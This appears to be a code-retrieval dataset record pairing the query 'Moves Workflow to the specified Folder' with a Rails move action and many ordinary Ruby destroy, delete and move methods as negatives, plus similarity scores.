"def destroy\n @questionnaire_template.destroy\n respond_to do |format|\n format.html { redirect_to questionnaire_templates_url, notice: 'questionnaire template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @favorite_template.destroy\n end",
"def destroy\n current_user.templates.delete(@template)\n # Remove from integrations\n @template.integrations.each do |integration|\n integration.templates.delete(@template)\n\n # check if integrations has agents, remove if all empty\n if integration.agents.empty?\n current_user.integrations.delete(integration)\n integration.destroy\n end\n end\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card_template = CardTemplate.find(params[:id])\n @card_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(card_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inventory_template = InventoryTemplate.find(params[:id])\n @inventory_template.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_template.destroy\n respond_to do |format|\n format.html { redirect_to product_templates_url, notice: 'Product template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @region = RegionTemplate.find(params[:id])\n @region.destroy\n\n respond_to do |format|\n format.html { redirect_to(region_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @logistic_order_template.destroy\n end",
"def destroy\n @purchase_template = PurchaseTemplate.find(params[:id])\n @purchase_template.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_datum.destroy\n respond_to do |format|\n format.html { redirect_to template_data_url, notice: 'Template datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url, notice: 'Item template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @view_template = ViewTemplate.find(params[:id])\n @view_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(view_templates_url) }\n format.xml { head :ok }\n end\n end",
"def remove(name)\n template = find(name)\n shell.rm_rf(template.path) if template\n end",
"def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :manage, :all\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n phase = Phase.includes(:template).find(params[:id])\n authorize phase\n begin\n phase = get_modifiable(phase)\n template = phase.template\n if phase.destroy!\n flash.now[:notice] = success_message(phase, _('deleted'))\n else\n flash.now[:alert] = failure_message(phase, _('delete'))\n end\n rescue StandardError => e\n msg = _('Unable to create a new version of this template.')\n flash.now[:alert] = \"#{msg}<br>#{e.message}\"\n end\n\n if flash[:alert].present?\n redirect_to org_admin_template_phase_path(template.id, phase.id)\n else\n redirect_to edit_org_admin_template_path(template)\n end\n end",
"def destroy\n audit(@service_template, \"destroy\", @service_template.name)\n authorize @service_template\n\n @service_template.destroy\n respond_to do |format|\n format.html { redirect_to service_templates_url, notice: 'Service template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @policy_template.destroy\n respond_to do |format|\n format.html { redirect_to policy_templates_url, notice: 'Policy template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_template = Template.find(params[:id])\n @admin_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_template = ProjectTemplate.find(params[:id])\n @project_template.destroy\n\n respond_to do |format|\n format.html { redirect_to project_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_template = UserTemplate.find(params[:id])\n @user_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_templates_url) }\n format.xml { head :ok }\n end\n add_audit_trail(:details => \"Deleted a template with alias: #{@user_template.alias}\")\n end",
"def destroy\n @invitation_template.destroy\n respond_to do |format|\n format.html { redirect_to invitation_templates_url, notice: 'Invitation template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cv_template.destroy\n respond_to do |format|\n format.html { redirect_to action: :index, notice: 'Personal info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if !is_admin\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.js { head :ok }\n end\n else\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @issue_template.destroy\n respond_to do |format|\n format.html { redirect_to issue_templates_url, notice: 'Issue template was successfully destroyed.' }\n end\n end",
"def destroy\n @custom_pet_template.destroy\n respond_to do |format|\n format.html { redirect_to custom_pet_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete\n response = CreateSend.delete \"/templates/#{template_id}.json\", {}\n end",
"def destroy\n @quest_template = QuestTemplate.find(params[:id])\n \n begin\n @quest_template.quest_giver.destroy\n @quest_template.quest_involver.destroy\n rescue Exception => e\n end\n @quest_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(quest_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @print_template.destroy\n respond_to do |format|\n format.html { redirect_to print_templates_url, notice: 'Print template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n #@forms_ref = Form.where(\"template_id = ?\",@template.id)\n\n if (! @template.isUsed)\n\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n\n else\n # @template = Template.new\n\n @template.errors.add(:childforms, \"template being used\")\n\n respond_to do |format|\n index()\n format.html { render action: 'index'}\n format.json { head :no_content }\n end\n\n\n\n end\n end",
"def delete_template(opts)\n post(\"/template/delete/#{opts[:template_id]}\")\n end",
"def destroy\n @page_template = PageTemplate.find(params[:id])\n @page_template.destroy\n\n respond_to do |format|\n format.html { redirect_to page_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_package.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n name = @email_template.name\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(new_email_template_url(:name => name)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @survey_template.destroy\n respond_to do |format|\n format.html { redirect_to organization_survey_templates_url(@organization), notice: 'Survey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_template = ContractTemplate.find(params[:id])\n @contract_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(contract_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @event_template.destroy\n respond_to do |format|\n format.html { redirect_to event_templates_url, notice: \"Event template was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n if params[:user_id]\n @templates = Template.find_all_by_user_id(params[:user_id])\n @templates.each do |template|\n template.destroy\n end\n else\n @template = Template.find(params[:id])\n @template.destroy\n end\n respond_to do |format|\n format.html { redirect_to(store_my_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @emailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @induction_template.destroy\n respond_to do |format|\n format.html { redirect_to induction_templates_url, notice: 'Induction template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset_category_template.destroy\n respond_to do |format|\n format.html { redirect_to asset_category_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inspection_template.destroy\n respond_to do |format|\n format.html { redirect_to inspection_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rcadmin_email_template.destroy\n respond_to do |format|\n\t flash[:notice] = 'Email template was successfully deleted.'\n format.html { redirect_to rcadmin_email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_template = InvoiceTemplate.find(params[:id])\n @invoice_template.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @administration_email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(administration_email_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n meeting_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(meeting_templates_url, flash: { sucess: \"Meeting template destroyed.\" } ) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @layout_template = LayoutTemplate.find(params[:id])\n @layout_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(layout_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @module_template = ModuleTemplate.find(params[:id])\n @module_template.destroy\n\n respond_to do |format|\n format.html { redirect_to module_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datatemplate.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Data templatesemplate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deposit_template = current_user.family.deposit_templates.find(params[:id])\n @deposit_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @meal_template.destroy\n respond_to do |format|\n format.html { redirect_to meal_templates_url, notice: 'Meal template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @local_tag = LocalTag.find(params[:id])\n @local_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to local_tags_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n onetemplate('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n authorize! :delete, @notification_template\n\n if @notification_template.destroy\n flash[:notice] = I18n.t(:'notification_template.notices.deleted')\n else\n flash[:error] = I18n.t(:'notification_template.errors.not_deleted')\n end\n\n respond_to do |format|\n format.html { redirect_to(notification_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n File.delete(temp_path)\n end",
"def destroy\n @docu_template.destroy\n respond_to do |format|\n format.html { redirect_to docu_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_position.destroy\n respond_to do |format|\n format.html { redirect_to template_positions_url, notice: 'Template position was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newsletters_template = Newsletters::Template.find(params[:id])\n @newsletters_template.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletters_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @configuration_template.destroy\n head :ok\n end\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_templates_url(:farm_id => @farm.id)) }\n format.xml { head :ok }\n end\n end",
"def delete\n super \"/templates/#{template_id}.json\", {}\n end"
] |
[
"0.7769075",
"0.77509815",
"0.772174",
"0.7510035",
"0.7242697",
"0.7232937",
"0.7226018",
"0.7215207",
"0.720553",
"0.71929616",
"0.71929616",
"0.71929616",
"0.7151924",
"0.71414536",
"0.71254134",
"0.71156627",
"0.70989144",
"0.7057851",
"0.70512575",
"0.7033664",
"0.70231366",
"0.69560736",
"0.69465786",
"0.6922197",
"0.690139",
"0.688255",
"0.68571526",
"0.6850757",
"0.6801287",
"0.67888576",
"0.6772678",
"0.67537516",
"0.6750424",
"0.6748227",
"0.6738812",
"0.6733136",
"0.6718712",
"0.67161214",
"0.6714732",
"0.67143273",
"0.6705825",
"0.6704792",
"0.6695842",
"0.6692501",
"0.66913086",
"0.66891915",
"0.66884375",
"0.6688004",
"0.6685612",
"0.66774404",
"0.6665414",
"0.6663884",
"0.6661571",
"0.66417116",
"0.66417074",
"0.6639805",
"0.66366905",
"0.6629067",
"0.6628854",
"0.66255844",
"0.6619469",
"0.6617977",
"0.66066134",
"0.6582348",
"0.6578975",
"0.65647745",
"0.6558824",
"0.6552921",
"0.65243775",
"0.6520791",
"0.65157145",
"0.65118754",
"0.65108806",
"0.6509312",
"0.65058225",
"0.6502522",
"0.6497205",
"0.64919376",
"0.6480614",
"0.64759284",
"0.6471073",
"0.64676404",
"0.6449333",
"0.64459795",
"0.6443001",
"0.64429516",
"0.6436331",
"0.6426969",
"0.64265656",
"0.6420487",
"0.6417028",
"0.6416352",
"0.6416217",
"0.6413186",
"0.6413092",
"0.64066607",
"0.6403329",
"0.64028907",
"0.6392825",
"0.63860404",
"0.638585"
] |
0.0
|
-1
|
=== move Moves Workflow to the specified Folder.
|
def move
Log.add_info(request, params.inspect)
raise(RequestPostOnlyException) unless request.post?
unless params[:tree_node_id].nil?
folder_id = params[:tree_node_id]
SqlHelper.validate_token([folder_id])
workflow = Workflow.find(params[:id])
workflow.item.update_attribute(:folder_id, folder_id)
flash[:notice] = t('msg.move_success')
end
my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)
sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)
@workflows = Workflow.find_by_sql(sql)
render(:partial => 'ajax_workflow', :layout => false)
rescue => evar
Log.add_error(request, evar)
flash[:notice] = 'ERROR:' + evar.to_s[0, 64]
render(:partial => 'ajax_workflow', :layout => false)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move_folder_ind\n create_process(process: \"MOVE_FOLDER\")\n end",
"def move_to_folder=(value)\n @move_to_folder = value\n end",
"def move_to_folder\n return @move_to_folder\n end",
"def move\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n if params[:tree_node_id].blank?\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n parent_id = params[:tree_node_id]\n SqlHelper.validate_token([parent_id])\n\n if parent_id == TreeElement::ROOT_ID.to_s\n flash[:notice] = 'ERROR:' + t('mail_folder.root_cannot_have_folders')\n else\n # Check if specified parent is not one of subfolders.\n childs = MailFolder.get_childs(@mail_folder.id, true, false)\n if childs.include?(parent_id) or (@mail_folder.id == parent_id.to_i)\n flash[:notice] = 'ERROR:' + t('folder.cannot_be_parent')\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n @mail_folder.parent_id = parent_id\n @mail_folder.xorder = nil\n @mail_folder.save\n\n flash[:notice] = t('msg.move_success')\n end\n\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n end",
"def test_move_folder\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/TestMoveFolderSrc/TestMoveFolderSrc.docx'\n\n request = MoveFolderRequest.new(dest_path: remote_test_out + '/TestMoveFolderDest_' + generate_uuid, src_path: remote_data_folder + '/TestMoveFolderSrc')\n\n @words_api.move_folder(request)\n end",
"def move_feed_to_folder(feed, folder: nil, folder_title: nil)\n FolderManager.move_feed_to_folder feed, self, folder: folder, folder_title: folder_title\n end",
"def move(new_folder = nil, new_state = nil)\n perform_move(client, nil, scope_parameters, [id], {}, new_folder, new_state)\n reload!\n end",
"def move_folder\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir = Item.new(Path.new(params[:dest_dir]))\n\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move!(new_folder)\n new_folder = new_folder.id if new_folder.kind_of?(GenericFolder)\n move_opts = {\n :to_folder_id => {:id => new_folder},\n :item_ids => [{:item_id => {:id => self.id}}]\n }\n resp = @ews.move_item(move_opts)\n rmsg = resp.response_messages[0]\n\n if rmsg.success?\n obj = rmsg.items.first\n itype = obj.keys.first\n obj[itype][:elems][0][:item_id][:attribs][:id]\n else\n raise EwsError, \"Could not move item. #{resp.code}: #{resp.message}\"\n end\n end",
"def batch_move(batch_client, new_folder = nil, new_state = nil)\n perform_move(client, batch_client, scope_parameters, [id], {}, new_folder, new_state)\n end",
"def move_folder request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_move_folder_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def move(id, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # This provides support for an Array of ids.\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/move?file_ids=%s&parent_id=%i' % [id, folder]).status == \"OK\"\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def post_move_folder(request)\n data, _status_code, _headers = post_move_folder_with_http_info(request)\n data\n end",
"def move_folder\n\n destFolder = params[:dest]\n targetFolder = params[:folder_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move Folder - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_folder(targetFolder, destFolder)\n flash[:notice] = \"Folder moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: Folder could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def move_folder\n parent_folder = Folder.find_folder(params[:folder_id])\n parent_folder1 = Folder.find_folder(parent_folder.parent_id)\n portfolio_id_old = parent_folder.portfolio_id\n @portfolio_old = portfolio_id_old\n folder_id_old = params[:folder_id]\n @folder = parent_folder\n @portfolio = @folder.portfolio\n @parent_folder = parent_folder\n move_folder_id = Folder.find_folder(params[:move_folder_id])\n @moved_folder = move_folder_id\n @moved_portfolio_old = @moved_folder.portfolio_id\n params[:folder_id] = parent_folder.parent_id if !parent_folder.nil?\t\tand !params[:element_type].nil? and params[:element_type].blank?\n if params[:move_folder_id] and !params[:move_folder_id].blank?\n move_document(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] == \"document\" and params[:operation] and params[:operation] == \"move\"\n copy_document(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] == \"document\" and params[:operation] and params[:operation] == \"copy\"\n move_folders(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] != \"document\" and params[:operation] and params[:operation] == \"move\"\n copy_folder(parent_folder,parent_folder1,portfolio_id_old,folder_id_old,move_folder_id) if params[:element_type] != \"document\" and params[:operation] and params[:operation] == \"copy\"\n end\n display_collection_of_folders_docs_tasks\n end",
"def move_folder(folder,orig,dest)\n \n puts \"Moving #{orig}/#{key[:dir]} -> #{dest}/#{key[:dir]}\" if @verbose\n FileUtils.mv \"#{orig}/#{key[:dir]}\", \"#{dest}/#{key[:dir]}\"\n\n end",
"def move_items(items, folder)\n folder = folder.id if folder.kind_of?(Types::GenericFolder)\n item_ids = items.collect{|i| {item_id: {id: i.id, change_key: i.change_key}}}\n move_opts = {\n :to_folder_id => {:id => folder},\n :item_ids => item_ids\n }\n resp = ews.move_item(move_opts)\n copy_move_items_parser(resp, :move_item_response_message)\n end",
"def move_bookmark(bookmark_id, folder_id)\n perform_post_with_object('/api/1.1/bookmarks/move', {bookmark_id: bookmark_id, folder_id: folder_id}, Instapaper::Bookmark)\n end",
"def move_folder(from_source:, from_dir:, to_source:, to_dir:)\n response = HTTParty.get(\"#{@host}/move_folder\", query: {\n source_dir: \"#{from_source}:#{from_dir}\",\n dest_dir: \"#{to_source}:#{to_dir}\",\n api_key: @api_key\n })\n \n return response.success?\n end",
"def move_dirs\n \n end",
"def move\n begin\n conversation = params['conversation']\n message = @frontapp_service.get_message(conversation)\n if(@frontapp_service.has_spam_tag?(conversation) && !@frontapp_service.in_spam_inbox?(conversation))\n # has spam tag and is moved to non-spam folder\n Rails.logger.info \"------ MARKING MESSAGE AS HAM\\n#{message[0..255]}\\n------\"\n @spam_service.mark_ham(message)\n @frontapp_service.mark_ham(conversation)\n @message_service.mark_ham(conversation['id'], message)\n elsif !@frontapp_service.has_spam_tag?(conversation)\n # does not have spam tag and is moved to spam folder\n Rails.logger.info \"------ MARKING MESSAGE AS SPAM\\n#{message[0..255]}\\n------\"\n @spam_service.mark_spam(message)\n @frontapp_service.mark_spam(conversation)\n @message_service.mark_spam(conversation['id'], message)\n end\n render json: { ok: true }\n rescue => e\n Rails.logger.error \"[move] #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n render json: { error: 'Oops, something did not go as planned' }, status: 500\n end\n end",
"def move\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not move the root folder\") if file.id == session[:user].root_folder.id\n source = WFolder.get(params[:source])\n raise RequestError.new(:file_not_found, \"Source not found\") unless source\n raise RequestError.new(:bad_param, \"Source is not a folder\") unless source.folder\n raise RequestError.new(:bad_access, \"No access to the source folder\") unless source.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Source does not contain the file\") if source.files.include? file == false && !file.folder\n raise RequestError.new(:bad_param, \"Source does not contain the folder\") if source.childrens.include? file && file.folder\n destination = WFolder.get(params[:destination])\n raise RequestError.new(:file_not_found, \"Destination not found\") unless destination\n raise RequestError.new(:bad_param, \"Destination is not a folder\") unless destination.folder\n raise RequestError.new(:bad_access, \"No access to the destination folder\") unless destination.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Destination and Source are identical\") if source.id == destination.id\n raise RequestError.new(:bad_param, \"Destination and File are identical\") if file.id == destination.id\n raise RequestError.new(:bad_param, \"File and Source are identical\") if source.id == file.id\n\n WFile.move(file, source, destination) unless file.folder\n WFolder.move(file, source, destination) if file.folder\n\n @result = { success: true }\n end",
"def test_post_move_folder()\n\n src = 'folder6'\n dest = 'folder7/folder6'\n storage = 'First Storage'\n dest_storage = 'First Storage'\n request = PostMoveFolderRequest.new(src, dest, storage, dest_storage)\n\n result = @storage_api.post_move_folder(request)\n assert result.code == 200, 'Error while moving folder'\n\n end",
"def move_folders(orig,dest)\n \n puts \"Moving #{orig} -> #{dest}\" if @verbose\n FileUtils.mv orig,dest\n end",
"def move_file\n\n end",
"def move(item, project)\n args = {id: item.id, project_id: project.id}\n return @client.api_helper.command(args, \"item_move\")\n end",
"def move(from, to)\n @ctx.mv(@path + from, @path + to)\n end",
"def move(to, reason = nil, movetalk = true, noredirect = nil) \n #require login\n @site.login\n result = @site.query_prop_info(@normtitle, nil, 'move') \n token = result['query']['pages']['page']['movetoken']\n result = @site.move(@normtitle, nil, to, token, reason, movetalk, nil, noredirect)\n if result.key?('error')\n raise RbmediawikiError, \"#{title}: \"+result['error']['code']\n else\n return true\n end\n end",
"def move(direction = 'NEXT')\n statement = \"move #{direction} from #{@name}\"\n @connection.exec(statement)\n end",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def move_dirs\n :both\n end",
"def file_move(from_path, to_path)\n params = {\n \"root\" => @root,\n \"from_path\" => format_path(from_path, false),\n \"to_path\" => format_path(to_path, false),\n }\n response = @session.do_post build_url(\"/fileops/move\", params)\n parse_response(response)\n end",
"def move\n\t\t'moved passed'\n\tend",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move(args)\n if ENV['USE_SVN'] == 'true'\n `svn move #{args}`\n else\n `mv #{args}`\n end\n end",
"def move (source_path, dest_path)\n \"mv '#{source_path}' '#{dest_path}'\"\n end",
"def move\n\n end",
"def move(from_path, to_path, opts = {})\n input_json = {\n from_path: from_path,\n to_path: to_path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/move\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def move_dir d\n\t\tmove d.dir( @square)\n\tend",
"def move(direction)\n\t\tcase direction\n\t\twhen \"North\"\n\t\t\tmove_north\n\t\twhen \"East\"\n\t\t\tmove_east\n\t\twhen \"South\"\n\t\t\tmove_south\n\t\twhen \"West\"\n\t\t\tmove_west\n\t\tend\n\tend",
"def make_move(move)\n @current_state = next_state(@current_state, move)\n # Save new state to database\n export\n end",
"def move_event(from_calendar_id = 'primary', to_calendar_id, event_id)\n execute(:api_method => service.events.move,\n :parameters => {'calendarId' => from_calendar_id, 'eventId' => event_id,\n 'destination' => to_calendar_id})\n end",
"def move(direction)\n \n end",
"def move(m)\n @path_log.push(@coordinate.clone)\n @coordinate = Navigation.execute_move(m,@coordinate)\n end",
"def move(from, to, options={})\n valid_options = %w(movesubpages movetalk noredirect reason watch unwatch)\n options.keys.each{|opt| raise ArgumentError.new(\"Unknown option '#{opt}'\") unless valid_options.include?(opt.to_s)}\n\n form_data = options.merge({'action' => 'move', 'from' => from, 'to' => to, 'token' => get_token('move', from)})\n make_api_request(form_data)\n end",
"def move\n item = TodoItem.find(params[:id])\n todo_list = TodoList.find(params[:todo_list_id])\n column = ProjectColumn.find(params[:todo_item][:column_id], todo_list.milestone.project)\n column.add_item(item)\n\n # ReorderTodoItems.create(params)\n if should_reorder_or_reparent_item?(item, column)\n todo_list = TodoList.find(params[:todo_list_id])\n # this 'reparents' a todo item to a new todo list and reorders\n todo_list.reorder_items(ordered_todo_item_ids)\n end\n\n # store activity of our users, to get an idea of how much people are really using wallsome\n activity = TodoItemActivity.new\n activity.user_id = current_user.id\n activity.basecamp_account_id = current_account.id\n activity.save\n\n render :json => item\n rescue ActiveResource::ResourceNotFound\n head 404\n end",
"def moveFileToDoneFolder(file, dest, logkey='')\n\tMcmlln::Tools.moveFile(file, dest)\nrescue => logstring\nensure\n\tMcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def reorder_items(folder)\n # we have to do a sort_by, not order, because the updated attributes have not been saved.\n changed_folder, new, changed_position, unchanged = folder.items.\n sort_by(&:position).\n group_by do |item|\n if item.folder_id_was != item.folder_id\n :changed_folder\n elsif item.position_was.nil?\n :new\n elsif item.position_was != item.position\n :changed_position\n else\n :unchanged\n end\n end.values_at(:changed_folder, :new, :changed_position, :unchanged).map(&:to_a)\n\n # items that will be in this folder\n unmoved_items = unchanged\n # place items whose positions were specified\n changed_position.map {|item| unmoved_items.insert(item.position - 1, item)}\n # add new items at the end\n unmoved_items = unmoved_items + new\n # calculate positions\n unmoved_items.compact.\n select {|item| item.folder_id_was == item.folder_id}.\n each_with_index do |item, position|\n item.position = position + 1\n end\n\n # items that have moved to another folder\n changed_folder.select {|item| item.folder_id_was != item.folder_id}.each do |item|\n item.position = nil\n end\n end",
"def make_move(move)\n @current_state = @current_state.next_state(move)\n # Save new state to database\n export\n end",
"def move\n \n end",
"def move\n \n end",
"def move\n case @direction\n when \"NORTH\" then move_north\n when \"SOUTH\" then move_south\n when \"EAST\" then move_east\n when \"WEST\" then move_west\n end\n end",
"def move(accountid, moveto, amount, confirms = 6)\n raise # TODO\n end",
"def move(move = {})\n begin\n move!(move)\n rescue => e\n errors.add :base, e.message\n return false\n end\n end",
"def move(*args, &block)\n args = web_dav_args args\n map_method :move, args, &block\n end",
"def move_to_trash\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir_path = Pathname.new(source_dir.path.dirname.to_s + \"/RESTARTED/RESTARTED_\" + source_dir.path.basename.to_s)\n\n dest_dir_string = dest_dir_path.to_s\n dir_found = false\n i = 1\n while(!dir_found)\n dest_dir = Item.new(Path.new(dest_dir_string))\n if dest_dir.exist?\n dest_dir_string = dest_dir_path.to_s + \"_#{i}\"\n i += 1\n else\n dir_found = true\n end\n end\n\n response = {}\n if !source_dir.exist?\n response[:msg] = \"No folder at location, nothing to do\"\n render json: response, status: 200\n elsif source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end",
"def move\n display_change\n File.move(@real_path, new_path, false)\n end",
"def move(entity, direction)\n entity.move(direction) if entity\n end",
"def move_to!(dest)\n Pow(dest).parent.create_directory\n move_to(dest)\n end",
"def move; end",
"def move; end",
"def move_dirs\n [[-1,1], [1,1], [1,-1], [-1,-1]]\n end",
"def move\n @node = Node.find(params[:id])\n case params[:to]\n when 'left_of'\n @node.move_to_left_of(params[:dest_id])\n when 'right_of'\n @node.move_to_right_of(params[:dest_id])\n when 'child_of'\n @node.move_to_child_of(params[:dest_id])\n end\n @node.save\n redirect_to(nodes_url)\n end",
"def move_item(id, to)\n record \"/todos/move_item/#{id}\", :to => to\n end",
